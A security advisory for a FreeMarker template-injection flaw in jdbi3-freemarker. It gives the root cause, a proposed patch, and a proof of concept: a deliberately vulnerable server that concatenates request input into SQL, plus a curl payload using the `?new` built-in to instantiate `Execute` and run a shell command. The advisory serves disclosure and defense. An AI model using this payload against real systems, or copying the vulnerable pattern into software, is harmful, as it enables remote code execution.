jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine

Summary

# Summary

**Description**

An Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using `jdbi3-freemarker` permits attacker-influenced text to reach `FreemarkerEngine.parse()` as template source. This affects `org.jdbi:jdbi3-freemarker` through version 3.52.1.

The developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.

Jdbi’s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi’s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such `ORDER BY` columns. ## Details

Jdbi constructs the underlying `freemarker.template.Configuration` with `DEFAULT_INCOMPATIBLE_IMPROVEMENTS` and never installs a `TemplateClassResolver`, so Freemarker's legacy `UNRESTRICTED_RESOLVER` remains active and the `?new` built-in can instantiate arbitrary classes, including `freemarker.template.utility.Execute`.

Two `Configuration` instances are constructed in the module, neither of which is hardened: ```java // freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java public FreemarkerConfig() { freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS); freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/")); freemarkerConfiguration.setNumberFormat("computer"); } ```

```java // freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java static { Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS); c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/")); c.setNumberFormat("computer"); CONFIGURATION = c; } ``` The locator's `CONFIGURATION` is initialized once at class load and used by the deprecated static `findTemplate(Class, String)`. It cannot be replaced via `FreemarkerConfig#setFreemarkerConfiguration(...)`, so any fix must land in both call sites.

The sink is `FreemarkerEngine.parse()`, which constructs a `Template` from the raw SQL string and renders it against `ctx.getAttributes()`: ```java // freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java Template template = new Template(null, sqlTemplate, config.get(FreemarkerConfig.class).getFreemarkerConfiguration()); return Optional.of(ctx -> { StringWriter writer = new StringWriter(); template.process(ctx.getAttributes(), writer); return writer.toString(); }); ```

Freemarker is the only built-in engine whose parse path provides reflective class loading by default. ## Impact

This impacts all `jdbi3-freemarker` releases through 3.52.1. Exploitation requires that an application depend on `jdbi3-freemarker`and allow request-derived text to flow into a SQL template body passed to `Handle.createQuery(String)`, `createUpdate(String)`, `createCall(String)`, `createScript(String)`, or `Batch.add(String)`, or into a defined attribute that the template subsequently re-evaluates with `?eval` or `?interpret`.

An application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies `?eval` / `?interpret` to an attacker-influenced defined attribute, can become an RCE sink in the application JVM. ## Proposed Patch

The injection surface is the `Configuration` constructed by Jdbi on the application's behalf without a class-resolver policy.

`FreemarkerConfig` and `FreemarkerSqlLocator`'s static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective `?new` can override the `Configuration` via `FreemarkerConfig#setFreemarkerConfiguration(...)`.

The static `CONFIGURATION` field cannot be reconfigured by application code at runtime, so a fix limited to `FreemarkerConfig` leaves the legacy locator path exploitable. ```java import freemarker.core.TemplateClassResolver;

// FreemarkerConfig.java public FreemarkerConfig() { freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS); freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/")); freemarkerConfiguration.setNumberFormat("computer"); freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER); }

// FreemarkerSqlLocator.java static { Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS); c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/")); c.setNumberFormat("computer"); c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER); CONFIGURATION = c; } ```

`ALLOWS_NOTHING_RESOLVER` rejects every `?new` lookup, which is sufficient for SQL templating.`SAFER_RESOLVER` also closes RCE and blocks only `Execute`, `ObjectConstructor`, and `JythonRuntime`, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.

## Proof of Concept

This PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi `@Define` attribute that the template subsequently evaluates. ```bash # Create project directory mkdir jdbi-freemarker-poc && cd jdbi-freemarker-poc

cat > pom.xml << 'EOF' <project xmlns="http://maven.apache.org/POM/4.0.0"> <modelVersion>4.0.0</modelVersion> <groupId>poc</groupId> <artifactId>jdbi-freemarker-poc</artifactId> <version>1.0</version> <properties> <maven.compiler.release>17</maven.compiler.release> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.jdbi</groupId> <artifactId>jdbi3-core</artifactId> <version>3.52.1</version> </dependency> <dependency> <groupId>org.jdbi</groupId> <artifactId>jdbi3-freemarker</artifactId> <version>3.52.1</version> </dependency> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>2.2.224</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.13.0</version> </plugin> </plugins> </build> </project> EOF

mkdir -p src/main/java cat > src/main/java/Server.java << 'EOF' import com.sun.net.httpserver.HttpServer; import org.jdbi.v3.core.Jdbi; import org.jdbi.v3.core.statement.SqlStatements; import org.jdbi.v3.freemarker.FreemarkerEngine;

import java.net.InetSocketAddress; import java.net.URLDecoder; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map;

public class Server { public static void main(String[] args) throws Exception { Jdbi jdbi = Jdbi.create("jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1"); jdbi.getConfig(SqlStatements.class) .setTemplateEngine(FreemarkerEngine.instance()); jdbi.useHandle(h -> { h.execute("create table users (id int, email varchar)"); h.execute("insert into users values (1,'alice@example.com'),(2,'bob@example.com')"); });

HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0); http.createContext("/search", ex -> { String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault("q", ""); String sql = "select email from users where email like '%" + q + "%'"; String body; try { body = jdbi.withHandle(h -> h.createQuery(sql).mapTo(String.class).list().toString()); } catch (Exception e) { body = "error: " + e.getMessage(); } byte[] bytes = body.getBytes(StandardCharsets.UTF_8); ex.sendResponseHeaders(200, bytes.length); ex.getResponseBody().write(bytes); ex.close(); }); http.start(); System.out.println("listening on http://127.0.0.1:8050/search?q=..."); }

private static Map<String, String> parseQuery(String raw) { Map<String, String> out = new HashMap<>(); if (raw == null) return out; for (String pair : raw.split("&")) { int eq = pair.indexOf('='); if (eq < 0) continue; out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8), URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8)); } return out; } } EOF

mvn -q package java -cp "target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)" Server & ```

Benign Request ```bash $ curl -s 'http://127.0.0.1:8050/search?q=alice' [alice@example.com] ```

Exploit ```bash $ curl -sG 'http://127.0.0.1:8050/search' \ --data-urlencode 'q=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("touch /tmp/jdbi-pwned")}' [alice@example.com, bob@example.com]

$ ls -la /tmp/jdbi-pwned -rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned ```